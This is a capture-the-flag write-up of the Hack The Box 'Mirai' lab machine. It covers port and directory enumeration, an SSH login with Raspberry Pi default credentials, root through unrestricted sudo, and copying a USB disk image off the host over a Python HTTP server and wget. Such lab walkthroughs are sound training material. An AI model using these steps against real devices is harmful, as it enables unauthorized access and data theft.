Mirai HTB

IP

10.10.10.48

initial nmap scan

sudo nmap -p- --min-rate 10000 10.10.10.48 | cut -d"/" -f1 | tr '\n' ','

we have the following ports open

22,53,80,1255,32400,32469

Lets run a more in-depth scan of the targets ports

sudo nmap -sCV -p22,53,80,1255,32400,32469 10.10.10.48 -oA nmap_results

results

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
1255/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
|_http-favicon: Plex
|_http-title: Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

we have

  • Looks like we have two web servers running port 80, 32400

  • DNS is open, maybe zone transfer

  • port 1255 we have UPnP (Universal Plug and Play): A networking protocol that allows compliant devices to automatically set port forwarding rules for themselves, version 1.0.5.13

First lets perform a zone transfer DNS PORT 53

  • come back to this

Lets check out the webserver on port 80

we are bought to a plank page

  • we can confirm the lighttpd version 1.4.35

Lets run feroxbuster and see if we can find anything else

feroxbuster -u http://10.10.10.48 -t 50 -L 5 -n -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o dirs.txt

  • We find `http://10.10.10.48/admin/

  • Worth looking into when we finish enumerating

  • we find one directory `http://10.10.10.48/versions`, when we navigate to the directory we gain a .txt file with version numbers but nothing specified 

,v3.1.4,v3.1,v2.10

  • Not sure what this is

**HTTP PORT 32400**

when we navigate to http://10.10.10.48:32400 we can see the following

Lets see if we can perform some feroxbusting and find anything

feroxbuster -u http://10.10.10.48:32400 -t 50 -L 5 -n -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o dirs.txt

  • looks like there may be security inplace to prevent directory busting as we are getting 200s for everything

Lets create an account an inspect the request with burp

  • unable to create account, the application seems to be having password complications

So far our best bet is the pi-hole interface we found within the http://10.10.10.48

  • What is pi-hole: A network wide ad blocker designed to function as a DNS sinkhole, it primary purpose is to block any unwanted content

  • Most of the time these pi-hole interface's would be associated with a raspberry pie, meaning there could be a raspberry pie IoT device in the network

    • After a quick google search we find that the IoT device (Raspberry pi) often has SSH connection to the target server and the default credentials are pi: raspberry

Lets see if we can SSH into the machine 

ssh pi@10.10.10.48

we now have access as pi on the target machine

When we check our sudo privileges we can see the following 

sudo -l

we can simple sudo su and we are root

Now trying to find the root

when we cat out the root.txt we see the following

cat /root/root.txt 
I lost my original root.txt! I think I may have a backup on my USB stick...

Looking in the /media/usb we can see the following note

Lets see if we can create a image of the usb stick and enumerate it on our local machine 

dd if=/dev/sdb bs=1M > /home/pi/disk.img
cd /home/pi
python3 -m http.server 9001

Now we can download it onto our local machine

wget http://10.10.10.48:9001/disk.img

Now we can run strings and see if we can find anything interesting

strings disk.img

  • from here we can find the flag

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